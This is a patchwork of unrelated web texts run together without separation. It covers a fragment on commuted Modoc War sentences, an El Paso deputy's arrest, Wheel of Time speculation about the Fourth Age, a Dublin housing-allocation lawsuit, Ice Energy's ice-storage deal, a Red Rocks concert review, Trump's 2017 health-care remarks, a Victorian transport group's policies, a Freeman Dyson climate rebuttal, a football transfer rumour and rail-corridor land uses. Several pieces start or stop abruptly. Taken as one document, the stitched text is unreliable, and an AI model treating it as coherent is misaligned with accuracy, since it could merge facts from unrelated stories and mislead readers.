As expected, the court found the six men guilty and sentenced them to be hung. President Ulysses Grant, however, commuted the sentences of Slolux and Barncho to life imprisonment at Alcatraz Island.
Courtesy El Paso County Sheriff's Office Reuben Rodriguez, a former El Paso County Sheriff's deputy, has been arrested on a charge of improper sexual activity with person in custody and tampering with physical evidence.
EL PASO, Texas - An El Paso county sheriff's deputy is accused of soliciting a sexual act from a woman as he took her to the county jail.
The alleged incident happened Saturday, May 3, investigators said.
The deputy, 27-year-old Reuben Rodriguez, has been charged with Improper Sexual Activity with Person in Custody and Tampering with Physical Evidence.
A statement from the sheriff's office does not specify what the deputy allegedly asked the woman to do or why he is charged with tampering with evidence.
Jail records show Rodriguez, a five-year veteran, was booked and released Tuesday, the same day he resigned from the department.
These words open every Wheel of Time novel and illustrate the cyclical nature of the world of Robert Jordan’s epic fantasy series. Those who read deeper into the series eventually find out that the title of the series is eponymous; that the Wheel is comprised of seven Ages in total, and that the events of any one Age eventually repeat when the Wheel makes a full revolution. Jordan’s series chronicles the final years of the Third Age of this world, an age that has been defined by a millennias-long struggle against the Dark One, the literal embodiment of evil.
That struggle has come to an end in the recently published final book of the series, A Memory of Light, and we have been left to wonder how our favorite characters will progress into this new Fourth Age. While we’ve had some fun theorizing on possible futures, a larger anthropological question remains: what happens when you take away the antagonist that has motivated mankind for thousands of years?
SPOILERS for A Memory of Light ahead.
The Ages of the Wheel of Time have always been defined in hindsight by a discovery or conflict that fundamentally changes the way humanity interacts with the world, or even with reality itself. In the text of the series, it is hinted that our own time comprised the First Age, and that this Age ended when humanity discovered how to channel the One Power.
The Second Age is shorthanded as the “Age of Legends” and comprises an era where channeling and scientific advancement have led to a veritable utopia. This age ended when the Dark One was brought into the world, leading to a degradation of that utopia and a series of conflicts that changed the face of the planet itself.
The Third Age, the age depicted in the books, is defined by constant struggles against the forces of the Dark One. During the events of A Memory of Light, the Dark One was sealed away from the world. By definition, this began the Fourth Age, since this event created a world that could no longer be directly affected by the Dark One, a state that the world had not been in for thousands of years.
While we have been given glimpses of the coming Fourth Age, glimpses that include some of the conflicts that are most likely to arise, we don’t know for sure what will end up being the defining identity of the Fourth Age. And we’ll probably never know, but we can have fun speculating! Below are a few ideas as to how the Fourth Age might develop, and how it might progress into the Fifth Age.
Before that, though, we should lay out the few facts about the Ages that we do have:
1.) Ages are at minimum more than one thousand years long, if only to ensure that knowledge becomes obscured. This has been borne out in the three Ages that we know of, and it’s built into the introductory language of each book. Memories will turn to legend and legend will turn to myth, etc… but just getting memories to turn into legend takes time. And considering that some of the characters that come out the other side of A Memory of Light are going to live for hundreds of years, living memory of the events at the end of the Third Age will most likely persist for at least a millennia.
(Consider our own Age, as well. The 11th century is still documented history, not quite legend, and our lifespans are significantly shorter than the channelers in the book series.)
2.) Wars occur in Ages but never quite define them. The Third Age plays host to several world-spanning wars but none of those conflicts, taken out of their context, defines that Age, even if that war involves changing the geography of the entire planet. The outcome of a war can produce an event that starts or ends an Age, which is certainly the case at the end of the Third Age, but otherwise wars tend to be events in a larger Age-spanning history.
3.) The world will be broken or remade again. In the First and Second Ages, the geography of the planet was the one that we’re familiar with. (Barring some unknown but probably technically possible Power-centric adjustments in the Second Age?) In the Third Age that landscape was changed dramatically into something completely unrecognizable. This means that at some point before the First Age comes again, the land will have to be broken, or terraformed, into the continents and oceans that we’re familiar with. This doesn’t necessarily have to happen in the Fourth Age, but it will happen.
4.) The ability to channel will disappear. Like the geography of the planet, the residents of the First Age had no conception of the One Power or channeling. The presence of wilders or channeling sickness was also non-existent, suggesting that at some point between the Fourth and ensuing First Age, the ability to channel is separated from humanity on a genetic and/or metaphysical level. This event is akin to a second Breaking of the World, in that it doesn’t need to happen in the Fourth Age, but definitely happens at some point. (Before A Memory of Light showed up, it was even theorized that this would happen at the end of the Third Age.)
What a cheery bunch of certainties! With these guideposts in mind, we can move forward with speculating (somewhat) anthropologically on how humankind might progress and what change or discovery might ultimately define the Fourth Age.
Some scenarios:
1.) Unprecedented Peace. Given the possible future we’ve seen regarding the fate of the Aiel people, this seems unlikely. We do know, however, that this future is subject to change and it may be that the dominant political powers at the beginning of the Fourth Age ultimately end up working together, even if they go through a Cold War or two.
Although it wouldn’t be exciting, an Age devoid of war would be unique, and it would really only take the world rediscovering war to change it from a Fourth Age to a Fifth. And from a population standpoint, humanity needs some relatively quiet millennia after the winnowing that occurred throughout the Third Age. After all, it took us 1800 years to grow from a planetary population of 200 million to 1 billion, and we were fighting the entire time!
The Second Age, the Age of Legends, was also notable for being an Age of peace.
2.) A Second Age of Legends. In fact, if peace prevails then the only thing preventing the Fourth Age from being another Age of Legends is the advancement of technology, both Power and non-Power-based.
In this case, let’s give the Fourth Age denizens the benefit of the doubt and conjecture that they race forward from their medieval/Renaissance level of tech and into the info and tech of the modern day and beyond. It only took us about 600 years, after all, and the denizens of the Fourth Age actually have a leg up on us in that regard since their source of information and research on the One Power is already centralized, categorized, and now able to disseminate information instantly across vast distances.
This could happen even if Rand’s schools don’t grow into universities and begin furthering the sciences. Which gives us another option for the Fourth Age.
3.) A Perfect Synthesis of Science and Magic. The Third Age was largely devoid of scientific knowledge and study, thanks to a number of factors. Knowledge and methods were continually lost thanks to a succession of wars in the Third Age that devastated population centers. At the same time, the One Power and Aes Sedai could maintain a number of comforts and advances without having to understand the science behind what they were manipulating. This further inhibited scientific study because, after all, why bother when the One Power could already do it and, in many cases, do it better than centuries of scientific study could achieve?
If Rand’s schools grow then this is bound to change in the Fourth Age, most likely to the point where scientific study and channeling knowledge will be able to work in complementary ways with each other. For example, science could decide how best to build a house and out of what materials, and channeling could provide the energy to craft those materials and assemble the structure in a matter of moments. Or channelers could craft gateways that would take anyone around the world, and mathematicians could use that to create a longitudinal system that could map the globe in precise detail.
If such progress went on for long enough, scientific knowledge and the One Power could even combine to create starships that would travel the galaxy. (Moghedien even hinted at such a thing in Lord of Chaos.) A perfect synthesis of the two approaches combining to achieve something neither could do on its own.
This is, of course, ignoring the fact that in the Third Age, burgeoning scientific methods have been used against Aes Sedai and channelers just as much as they have been used to help them. Forkroot tea numbs the metaphysical mechanism used to channel. Cannons can obliterate a hilltop from a tremendous distance in a way that only a handful of channelers in the world can manage. Extrapolating just these two methods leads to some pretty serious antagonization of channelers, which brings us to a far more likely scenario.
4.) Science and the One Power Struggle For Dominance. As much as we’d like to imagine the world getting to rest after centuries of struggle, that probably would not occur. There will be struggles between powers, and those powers will attempt to utilize any method necessary to gain the upper hand. If Seanchan attacks you with damane and raken? Shoot them with all those cannons you’ve been mass-producing. (Also, good job on discovering mass production!) Are cannons giving you trouble? Warp the metal with a simple weave of Earth. Are gateways wreaking havoc on the battlefield? Develop a device that creates an electromagnetic field that makes the gateways impossible to form. And so on and so on….
Just because there would be more than one way to accomplish something doesn’t mean those accomplishments would be peaceful. At its worst, developing technology and developing One Power usage would turn into an arms race, with zealous supporters of either method elevating it into a lifestyle and actively portraying it as the superior ideology. This would incite further struggles between the two methods, despite the fact that most of the comforts that humanity enjoys were most likely brought about by a combination of the two methods.
The Fourth Age could very well be defined by this kind of conflict and stunted progress, with the Fifth Age coming about when one side dominates decisively or when progress evens out.
Or… things could get really crazy in the Fourth Age.
5.) Everyone Channels. No One Channels. If the world advances like envisioned in scenario #4, then the Fourth Age could ultimately be defined by a single extreme action designed to eliminate the struggle between technology and channeling. At some point, a method could be devised to abolish the very differences between the two methods.
This could be accomplished in two ways. Either you make it impossible for anyone to channel, or you make it possible for everyone to channel.
Perhaps the turn from Fourth Age into Fifth is that straightforward. Maybe a Seanchan-ruled world has exterminated all channelers and wishes there to be no more, so it figures out how to cut the world off from the One Power. Maybe humanity has suffered too many devastating attacks by users of the One Power and discovers it now has the scientific knowledge to sever it from humanity.
Or it could be more complex than that. Perhaps the Empire of the Sun grows into a vast, world-spanning conglomeration of utopian countries and wishes that all of its citizens be granted equal ability. Or maybe everyone is given access to the One Power by complete accident.
It could even be both. Maybe someone develops a genetic procedure that grants everyone the ability to channel, but which unknowingly ensures that humanity will only have offspring with nullified channeling genes. Maybe that’s a turning point into the Fifth Age. Or maybe that turning point is when the final channeler dies.
6.) Anything you want. We know the broad strokes of how the first few hundred years of the Fourth Age are likely to go, but if past Ages are any indication, the Fourth Age will be one that spans thousands of years, containing many, many twists and turns that all build on each other. It would take an entirely new fantasy series just to chronicle it, making an extrapolation of how the Fourth Age ends something wildly conjectural.
But that’s the fun part! In this post I imagine a conflict between proponents of science and the One Power being the struggle that finally cuts humanity off from the Source, ending the Age. But what do you imagine? Now that the end of the Third Age is known, what vision of the Fourth Age occurs to you?
The man claims the council is operating an unfair, irrational and discriminatory housing scheme in classifying separated fathers as “single” persons when allocating housing. The scheme breaches his rights, including to equal treatment, under the Constitution and the European Convention on Human Rights Act, he claims.
Aged in his twenties, homeless and unemployed, the man has access to and custody of his three young children for three days and three nights weekly.
Because the council classifies him as a “single” man for housing allocation, he can only get €990 monthly Housing Assistance Payment (HAP).
He says he has sourced an apartment for a monthly rent of €1,500 but, rather than recognising him as a separated father and increasing his HAP to meet that rent, the council pays €660 weekly to fund hotel accommodation for himself and his children for three nights.
On the other four nights, he sources homeless accommodation for himself while the children stay with their mother, also homeless, in hotel accommodation also funded by the council.
The council has assessed his ex partner, based on her status as a separated mother, as entitled to up to €1,900 in HAP, he says. This unfairly differentiated between him as the children’s father and their mother as neither parent has the children on a full-time basis and instead share the custody and access, he alleges.
Unlike other councils in Co Dublin and Fingal, Dublin City Council refuses to classify separated fathers as anything other than a “single person” for the purposes of allocating accommodation, he claims.
Feichín McDonagh SC, instructed by solicitor Eileen McCabe, secured leave on an ex parte (one side only represented) basis this week from Mr Justice Seamus Noonan for judicial review proceedings of the council’s classification of him as single.
He claims the council is operating a Housing Allocation Scheme outside its powers under the Housing Act 2009 and inconsistent with the council’s housing obligations under the Constitution and European Convention on Human Rights Act.
In court documents, it was stated the man gets jobseekers allowance of €193 weekly, plus a €60 weekly access payment.
The children lived for six years until last year with their mother in private accommodation but had to leave that after the council’s health and safety inspectors condemned it as unfit for habitation, it was stated.
The parents presented with their children to the council’s homeless unit in early 2017 and were housed together in emergency hotel accommodation. The man and his partner separated in summer 2017 but remain on amicable terms and have agreed access arrangements between themselves, it was stated.
His name was later removed from their joint housing application and, despite telling council officials of the access arrangement, he was asked to sign a document the children resided with their mother on a day to day basis, it is claimed.
He then applied for a HAP payment but was told he could not put the children on his application as they were already on their mother’s application and he was registered as a single man, it is claimed.
Ice Energy
Ice Energy
Ice Energy
Ice Energy
Ice Energy
A Santa Barbara-based company called Ice Energy has partnered with NRG Energy to deliver 1,800 “ice batteries” to commercial and industrial buildings served by electric utility Southern California Edison (SCE). The units are expected to reduce air conditioning bills by up to 40 percent and eliminate 200,000 tons of CO 2 over the next 20 years.
Ice Energy has been building ice-based cooling systems since the early 2000s. Much like pumped storage or compressed air “batteries,” Ice Energy essentially stores electricity by drawing power from the grid at non-peak times to freeze water in a special container. Then at peak times, when the cost of electricity is high and grid operators are struggling to keep up with demand, Ice Energy’s systems kick in and use that block of ice to cool the space that the air conditioning unit normally serves.
Although the system isn’t storing energy like a lithium-ion battery does, it draws energy to “charge” and replaces the energy that would be needed to run an AC unit when it “discharges.” That’s good for the environment because air conditioning compressors are energy-intensive, and when a city like Los Angeles suffers a heat wave, people tend to run their ACs more. Grid operators have to meet that demand, and, to do that, they’ll often turn to fossil fuel-burning additions like natural gas peaker plants, which can be brought online relatively quickly. But if local, behind-the-grid energy-storage systems can meet the additional needs of a home or business before they have to turn to the grid, that reduces the demand that grid operators would otherwise have to meet.
Sort of like your grandparents’ ice box
In a phone call with Ars, Ice Energy CEO Mike Hopkins said that SCE agreed in April to purchase the 1,800 units, called IceBear 30s, and to cover the cost of installation. Hopkins wouldn’t say how much the SCE is putting down in the deal. There are also some strings attached: although IceBears can be added onto many existing air conditioning units, SCE is looking for commercial and industrial candidates who will be willing to replace aging HVAC systems with something more energy-efficient (SCE is also offering discounts on upgraded HVAC systems that would be installed with the IceBear units).
What the utility gets in exchange for its discounts is control over when the IceBears are turned on and off at each commercial or industrial property. Each IceBear 30 is capable of replacing a 10-ton AC unit for three hours, Hopkins said, and SCE will engage the IceBears on the roofs of its customers when it needs to lessen its load for three hours. SCE could do this, for example, on a hot afternoon in July.
SCE won't be turning on or off the IceBears individually but will dispatch the cool air in groups. “While they [SCE] could look at individual IceBear units, the system is really designed for megawatt-scale resource control,” Hopkins said. “They’ll see them on an aggregate basis.”
SCE’s willingness to buy into this storage scheme has political roots. In 2013, California mandated that the three largest utilities serving the state add a collective 1.3 GW of storage to the grid by the end of the decade in a way that meets peak demand in a cost-effective way. The deal with Ice Energy and NRG is part of Edison’s own commitment to add diverse kinds of energy storage to the grid. The utility has also purchased more traditional batteries from Tesla. “The Ice Bears will provide a total of up to 25.6 MW of peak storage capacity to SCE under 20-year Power Purchase Agreements (PPA),” a press release from Ice Energy said.
The project was a long time coming, too. Hopkins said that SCE’s commitment to buy storage has “been hung up... by appeals, mostly regarding a gas peaking power plant. It was only within the last month that we were cleared of this regulatory delay.” This is also the world’s largest ice storage deal to date. Ice Energy inked a deal in 2010 with the Southern California Public Power Authority (SCPPA) to deploy up to 1,500 IceBear units in Southern California. But Hopkins said the economic conditions weren’t right yet.
“That project actually never proceeded,” the CEO said. “The contract... was a real surprise to everybody because no one had entered into a contract that big for energy storage. The city of Glendale ordered 2MW, and then the contract just kind of sat there, which I think is a reflection of the fact that back in 2010... utilities just weren’t ordering storage. Starting in 2013, when the state of California mandated storage, the world had obviously changed.”
In 2015, Ice Energy partnered with Riverside Public Utilities (RPU) in California to install 5MW of capacity on commercial buildings over five years. The utility stipulated that it would be allowed to cancel the contract if the Ice Bears didn’t meet expectations. Four units were just installed on top of California Baptist University.
Residential ice
Ice Energy has also just launched a residential product, which will go into production in the summer. The company has contracted again with SCPPA to offer 1MW of residential storage—approximately 100 IceBear 20s—which are smaller than the IceBear 30s SCE is procuring for commercial and industrial buildings. Hopkins also said that Ice Energy is still working out a similar deal to subsidize residential IceBears with a Massachusetts power company, which he declined to name because the deal wasn’t finalized yet. Eventually, Ice Energy hopes to sell its product through retail channels as well as through power companies.
“The residential product was designed to function ideally with solar,” Hopkins explained. “If you’re restricted in net metering... our home system can actually make its ice in four hours, you would use your solar over-gen [over-generation] to make ice” and eliminate the peak hours of AC in the afternoon and evening.
An even smaller unit, the IceBear 10 (also known as the Ice Cub), can serve as a heat pump and run in reverse during cold periods. The Cub would heat your home with electrical heating, which is probably not a practical option if you live in an area of the US that needs heating throughout the winter.
For now, Ice Energy doesn’t seem to have many competitors in thermal energy storage. A company called Axiom freezes salt water during off-peak hours to provide refrigeration during peak hours. (Ice Energy says it’s working on that, too, by developing a system that uses glycol as an additive instead of pure water, as the IceBears do.)
But the concept has been around for a long time: see this PG&E explainer from 1997 (PDF). Cost has been a major stumbling block to adoption, and Ice Energy doesn't post any cost-related numbers on its site. (For residential systems, the company notes that access to clean energy incentives from state and federal governments “can reduce the cost of a home IceBear to the point that it is no more than, or even less than a conventional home AC unit.”) The efficiency of the system also depends on where you are in the country: in a post on Altenergy Mag from 2016, Hopkins wrote that “Ice Bears are most efficient in areas where nights are significantly cooler than days.”
For now, Ice Energy seems to be solving the cost and efficiency problems by selectively partnering with utilities in regions that get a lot of heat. And whether or not ice-based systems take off, the idea of deferring energy use with ice is certainly cool.
Line Up: Slightly Stoopid
Venue: Red Rocks Amphitheater. Morrison, CO
Slightly Stoopid was in Colorado celebrating the 420 weekend with a 4/19 show at the infamous Red Rocks amphitheater in Morrison, CO. Honestly, what’s there to say about Red Rocks that isn’t already documented with high praise? Stoopid has made Red Rocks their home away from home, each April, over the last few years and apparently the show sold-out within days of tickets being available.
We at The Pier were at Red Rocks early to celebrate the day’s shenanigans. We had a Tailgate party planned in advance, hosting it a long with our homies at Cheba Hut. What started out as a tailgate party with just The Pier & Cheba Hut, grew to include Seedless Clothing, Yolo Rum, Myxed Up Creations, Stone Brewery & a ton of fans who stopped by sharing their stories of past Slightly Stoopid events & encounters.
Fans curiously gravitated towards our tailgate party as we were parked alongside Slightly Stoopid’s Mystery Van, the Cheba Hut Bus & the Yolo Rum van. Fans were constantly taking pictures of the Mystery Van, before coming over to the booth where we had FREE merchandise courtesy of Slightly Stoopid and the rest of the vendors who joined us. There was a ridiculous amount of FREE goodies for those that found the Tailgate Party early. Slightly Stoopid donated a box full of T-shirts, Lanyards, Rolling Papers, Lighters, Stickers & Posters; all of it gone in about an hour.
One thing we learned about Red Rocks is to go straight to the Upper North Parking Lot, FIRST! They don’t open the other parking lots until the Upper North lot is completely full. The other benefit of parking there is it’s less of a walk & hike from the parking lot to the bleachers & seating.
The view of the parking lot, from our seats, we spotted cars from 4 different states of Wyoming, Oklahoma, and Wisconsin & North Carolina. Fans drove & flew out from all over the world, not only to see Slightly Stoopid at the infamous Red Rocks Amphitheater, but to also ring in the 4/20 holiday under Colorado’s new decriminalized Marijuana Laws.
Rain, snow or shine, fans in Colorado could care less about the weather when live music is involved. What started out as a nice day, quickly turned to gray clouds & rain towards 5-6pm, just as the doors to the show opened. By the time we put everything away from the tailgate party and made our way into the venue, we had missed the 2 opening acts, but found our place in the bleachers about 15minutes before Slightly Stoopid took the stage.
Slightly Stoopid, at its peak, had 8 members on stage between the backline, guitar, percussion, keys & a 3 person horn section led by Karl Denson; but there were no signs of C-Money. The entire place was drenched as us fans stood in the bleachers with our clothes damp and heavy from the rain & this continued as Slightly Stoopid began their set. During their set, there were stage crew who would squeegee the stage floor in an effort to clear out puddles that kept forming from the constant rain.
Luckily for the stage crew, all it took was the first 3-4 songs of Slightly Stoopid’s set for the rain to clear out. It was as if Slightly Stoopid found a formula with their music to make the rain go away. By the 5th song, I looked up and could see stars appearing in between clouds that continued to disappear as the music played. Slightly Stoopid 1, Bad Weather 0 – Although I can’t give too much credit to Slightly Stoopid. Fans get a nod for the assist as they were fiercely blowing this mysterious smokey substance into the sky and they did so throughout the rest of Stoopid’s performance. A corny side of me would like to think the stars told the clouds to move, so they could get a better view & listen of Slightly Stoopid.
Slightly Stoopid played a lot of older material with songs such as “Devils Door”, “Pussy Gets Wet”, “Wicked Rebel”, “Running With A Gun”, “Sensimilla”, “Everything You Need”, “2AM” along with my favorite performance of the night with, “Ese Loco”. I’ve been seeing Slightly Stoopid live for no less than 15 years and I loved every nostalgic second of them performing “Ese Loco”.
Slightly Stoopid has really evolved their sound over the years and have grown to include a lot of live instrumentation with keys, percussion & a horn section. While I do love the growing evolution of Slightly Stoopid’s sound, there’s just no replacing the classic 3-piece performance of their older material and that’s what they did when performing “Ese Loco”; they went from having 8 members on stage, to just the 3 piece.
Being in Colorado, the guys threw up a big shout out to Mr. John Denver, by playing their classic cover of JD’s “Leaving on a Jet Plane”. Other classics the group performed was “This Joint”, “Officer,” “Dancing Mood” and “Don’t Stop”.
It’s very rare that Slightly Stoopid puts on a show that disappoints. There’s so much musical depth to this group who have perfected their live set, it’s easy to see how they’ve separated themselves from others in the scene. Just because there are 8 members on stage, doesn’t mean they’re all playing at once. Each instrument has a part that is added to compliment the sound, rather than saturating the performance with too much instrumentation. Just because they had a horn section, percussion & keys, doesn’t mean they used it for every song and knew when to add or subtract each instrument in, only to leave you guessing how they would perform each song. From reggae to punk rock, ska & hip-hop, fans were treated to an array of musical genres and a lot of them were featured all in one song.
All in all, it was a great performance & hanging with Cheba Hut, Yolo Rum, Myxed Up & Stone Brew was a great way to celebrate & prepare for the night’s performance. Some lessons learned for next time at Red Rocks is to always go to the Upper North Parking Lot, first and you’re safe to get there at about 2:00pm for a decent parking spot. If you’re going to see a show at Red Rocks in April, bring a poncho, it makes all the difference in the world in case it does rain. Colorado’s weather is really unpredictable & you’ll be thankful you didn’t skip out on the poncho.
Related Links:
Slightly Stoopid Website
Slightly Stoopid Facebook
Cheba Hut Website
Yolo Rum Website
Myxed Up Creations Website
Article by: Mike Patti
Photos by: Vinh Nguyen
More Photos From The Night…
President Trump answers reporters' questions during a joint news conference with Spanish Prime Minister Mariano Rajoy in the Rose Garden at the White House Sept. 26, 2017 in Washington, D.C. (Photo11: Chip Somodevilla, Getty Images)
WASHINGTON – Stung by another health care defeat this week, President Trump said Wednesday he will begin talking with Democrats on legislation that can replace the law signed by predecessor Barack Obama.
"I will negotiate with Democrats to see if we can make a bipartisan bill," Trump told reporters at the White House, the day after Senate Republicans' last-ditch proposal to unwind the Affordable Care Act collapsed on Capitol Hill.
The president said he hopes for a health care vote in January, February or March.
In the meantime, the president said he plans to sign an executive order – likely next week – that would enable people to buy health insurance across state lines, though there is some question as to whether a president has the authority to effect such a change.
"I'll probably be signing a very major executive order where people can go out, cross state lines, do lots of things, and buy their own health care," Trump said.
More: RIP, repeal and replace: Republicans' last-ditch effort on health care is dead
Trump also insisted on Wednesday that Republicans do "have the votes" on health care, but don't have the ability to get it done before a key deadline on Friday.
Since the election, Republicans have been struggling to round up enough party support for a plan to repeal and replace Obama's health care law. They are now racing against the clock; after Sept. 30, the chamber's rules change and lawmakers won't be able to pass a new bill with just 50 votes. This is critical, since past health care efforts to overhaul health care have failed even with 52 Republicans in the chamber.
"We will have the votes for healthcare but not for the reconciliation deadline of Friday, after which we need 60," Trump tweeted.
Trump also cited support from an unnamed senator that triggered a mystery on Wednesday. "With one Yes vote in hospital & very positive signs from Alaska and two others (McCain is out), we have the HCare Vote, but not for Friday!" Trump said over Twitter. Later, speaking to reporters, Trump again insisted that one of his supporters in the Senate "can't vote because he's in the hospital."
White House officials speaking under condition of anonymity said they believe Trump was referring to Republican Sen. Thad Cochran with his references to a hospitalized senator.
Cochran said he was at home in Mississippi convalescing, but confirmed he was not in the hospital via Twitter: "Thanks for the well-wishes. I'm not hospitalized, but am recuperating at home in Mississippi and look forward to returning to work soon."
The president has also called for scrapping the Senate filibuster rule. It allows a party, in this case the Democrats, to block legislation and force opponents to come up with 60 votes to override the filibuster
As for health care, Trump's prospects for negotiations with the Democrats remain unclear.
Throughout the health care debate, Democrats have said they will not support any plan that makes it harder for people to buy health insurance, effectively cutting them off from coverage. They said all of Trump's plans would do just that.
Sen. Patty Murray, D-Wa., ranking member of the Senate Health, Education, Labor, and Pensions Committee, said Trump can show he is "truly serious" about negotiations by taking "partisan Trumpcare efforts" off the table.
“It would be a welcome shift for President Trump to stop his health care sabotage and instead work across the aisle to help strengthen families’ health care and lower their costs," Murray said.
Contributing: Nicole Gaudiano
More: Trump cites support for health care bill from mystery senator in hospital
Victorian Transport Action Group
The Victorian Transport Action Group is an independent forum that addresses the challenges of transport in Victoria. The members have a range of e xpertise across transport, planning, State and Local Government, IT and the environment; including past employment with Government agencies, the Department of Transport and VicRoads. The participants are familiar with the challenges of d eveloping and implementing transport plans across all transport modes and understand the difference between blue sky ideas and the reality of funding, political interest and community support. Members are particularly conscious that limits on funding necessitate placing priorities on projects; and that in turn leads to communities competing to achieve outcomes that satisfy their needs. VTAG has an extensive network of connections across the diversity of local government, planning and public transport that it can draw upon for insights into the complexity of transport issues and provide options for equitable, practical solutions. VTAG views public transport as the primary solution for commuting. However, we evaluate all appropriate options; identifying transport investment strategies that generate a fair return for tax payer dollars and deliver proven and even-handed benefits to the community. The core policies of VTAG are based on t he following guidelines:
relieving congestion by promoting people versus vehicle movement;
stemming unnecessary, unsustainable growth in road-based tr affic
planning of traffic management must make economic sense, adopt solutions for the future, not damage urban fabric and take account of reduction in road use by improving public transport;
promoting practical solutions across all transport modes inc luding road development suc h as the North East Link, where such development helps ease congestion in the City;
centralising planning with policy and strategy integration;
conducting project evaluation to incorporate social justice, liveability and retain heritage elements;
recommending transparency in relationships and contracts by PT entities and Government;
encouraging partnerships with Local Government to achieve connected and effective local results.
opposing costly PPPs and endorsing Government low interest borrowing in the present financial climate, with appropriate hedging safeguards against future interest rate rises to facilitate the construction of infrastructure.
supporting co-operation between government and PT in strumentalities that addresses any conflicts of purpose and delivers beneficial outcomes for end users.
Apparently not enough people showed interest in attending this year's gala, despite the Republican Party of Arkansas telling KATV at least 100 people they know are going to the inauguration.
RPA’s Communications Director, Lauren Montgomery, tells Channel 7 News, some Arkansans will now attend the Texas State Society Ball.
"Of course we were disappointed and shocked and surprised, everyone that I have talked to that had plans on going, they of course were disappointed,” said Montgomery.
The Arkansas State Society of Washington D.C.'s chairman, Glenn Mahone, said tickets for this year's gala were in low demand.
"It's just different this year, I’ve heard a lot of people...it's a big commitment to make travel plans, buy an airplane ticket, get a hotel room, get a ball ticket that you don't know necessarily be at the inauguration ceremony for, so people were just waiting to get their tickets,” added Montgomery.
To say that Freeman Dyson is a highly respected scientist is an understatement. Over his 91 years, he has made seminal discoveries in mathematics and physics;written evocatively (and provocatively) on what it means to be a scientist, the role of science in society, and the culture of science; shared the fruits of his imagination about possible future discoveries and their implications for humanity; and generally offered up one fresh and unexpected view after another on topics from space travel to genetic engineering and beyond.
By all accounts, he's a modest and funny man, a loving husband and father, and a continued source of inspiration to his colleagues at the Princeton Institute for Advanced Studies. However, since 2007, he's been purporting to be the voice of "moderation" on the topic of climate change. Casting himself in the role of objective, outside observer, he has declared that climate scientists are caught up in their own hype, in love with their own models, and distracting society from ills far more important than climate change.
I wish that he were right. It would be swell if climate change were really not a big deal. But he's not, and it is.
Dyson is on tour, promoting his new book Dreams of Earth and Sky (2015). On May 2, 2015, he was interviewed by Scott Simon on NPR's Weekend Edition. If the interview is any indication, Dyson's book tour could sow an awful lot of confusion about the scientific consensus on climate change. Here's what Dyson said:
"What I would like to emphasize is that human actions have very large effects on the ecology, which have nothing to do with the climate."
True, but where are you going with this? Human activities -- farming, fishing, timber harvesting, urbanization, industrial waste -- all have dramatic and frequently compounding effects on "the ecology." Indeed, the fact that "the ecology" is under multiple non-climate stresses makes it all the more vulnerable to a changing climate.
Carbon dioxide is what we're producing in big quantities and putting into the atmosphere. This happens to be a very good fertilizer for all kinds of vegetation, good for wildlife, good for agricultural production, so it has many benefits.
This is one of the most tired and thoroughly debunked climate change denier arguments -- the equivalent of the creationists' "But where are the transitional fossils?" argument. Really, how many times do we have to kill these zombies? For a thorough take-down of this persistent misconception, visit Skeptical Science. Or just think about it for more than three seconds. Dyson's paean to carbon dioxide would be appropriate only if CO 2 were everywhere and always the sole limiting factor on plant growth -- which really could only be the case if all plants were grown in controlled environments like greenhouses. Moreover, it would be appropriate only if drought, extreme temperature events, desertification, sea level rise, and all of the other consequences of climate change will have no negative effects on plant productivity. It isn't, and they won't.
"And this is something you have together with the climate effects, which are much less certain, so it's a question of drawing a balance."
The "climate effects," on which there is a vast body of scientific research literature, are a lot more certain than the wishful-thinking-at-best benefits of rising CO 2 to plants. Besides, would increased plant productivity due to rising CO 2 really balance out all the other consequences of climate change? After all, what profit a man if he shall gain a few tomatoes and lose a coastal metropolis?
I'm just saying I don't understand it and neither does anybody else. I'm skeptical because I don't think the science is at all clear, and unfortunately a lot of the experts really believe they understand it, and maybe have the wrong answer.
Really, Professor Dyson? That's the best you can come up with? That's right up there with the "I'm not a scientist, but..." line that has become so popular of late with politicians. Actually, tens of thousands of scientists, from multiple disciplines, in a vast number of studies spanning decades, have combined all their data and come to the conclusion -- disturbing as it is -- that the climate is definitely warming, that CO 2 emissions from human activities are responsible, and that the consequences are likely to be both serious and increasingly difficult to prevent the longer action is delayed.
Of course [the weather] concerns me, but of course, we don't know much about the causes of those things. We don't even know for sure whether it is more variable than it used to be.
A classic bait and switch. The question isn't whether weather is more variable (although there's growing evidence that climate change is contributing to stronger hurricanes and other severe weather events); the question is whether the planet is warming, the sea level rising, and the pH of the ocean falling. The answer is yes; these are all well-established results of the science. Talking about variations in the weather is just a distraction.
"I mean the worst disasters were the Ice Ages, and nobody really understands for sure the causes of ice ages...
Actually, scientists have a pretty good handle on what caused the Ice Ages. For a fascinating tour through the history of Ice Age science, I recommend an excellent essay posted on the website of the American Institute of Physics. To make a long story short, not only do scientists know a lot about the causes of Ice Ages, they know that we should be entering one now, but human emissions of CO 2 are overriding the natural cycles.
So I'm not saying the climate disasters aren't real, I'm merely saying we don't know how to prevent them.
By Football Italia staff
Manchester City are reportedly approaching Milan for Gianluigi Donnarumma, but Gigi Buffon would “give him some brotherly advice.”
The goalkeeper is only 17 years old, but has already become a key figure for the Rossoneri in Serie A and is second choice to Buffon for Italy.
According to Sky Sport Italia this evening, Manchester City have made an initial approach to Milan for Donnarumma.
The San Siro club is in the process of a takeover by Chinese investors, so would in theory not be in any position to cash in on their young talent.
“I could say Manchester City are very wise to be making that type of proposal,” Buffon told Sky Sport Italia when asked about the rumours.
Manufacturing plants (operating and abandoned);
Warehouses;
Power plants;
Water and sewage treatment plants;
Landfills;
Pawn shops and resale stores;
Rescue missions and homeless shelters;
Storage yards;
Junk and scrap yards;
Long lines of stationary box cars, coal hoppers, and tank cars; and
Chain link fences usually topped with barbed or razor wire.
While some of these uses make perfect sense along a rail line, I kept wondering if these were truly the images the respective community’s chambers of commerce wanted to portray to visitors, potential new employers, travelers, and tourists? I doubt it. Sure, onerous uses have to go somewhere, but why congregate them along rail lines, especially on those areas most often populated by the less fortunate or poor.
It was that aspect which bothered me the most, considering it’s the less fortunate who cannot afford many of the products that end up being discarded in those landfills, scrap yards, and junk yards located adjacent to them. It is also the less fortunate who cannot afford to pick-up and move to greener pastures to avoid the sights, noise, odors, fumes, and other noxious aspects of such uses.
There were places that have realized the importance of making a positive first impression to rail passengers, just they way they would along gateway corridors for incoming automobiles — New Buffalo and Niles, Michigan are two examples from my trip.
Of the larger cities, Kalamazoo has been the most creative by converting its train station into an intermodal transportation center.
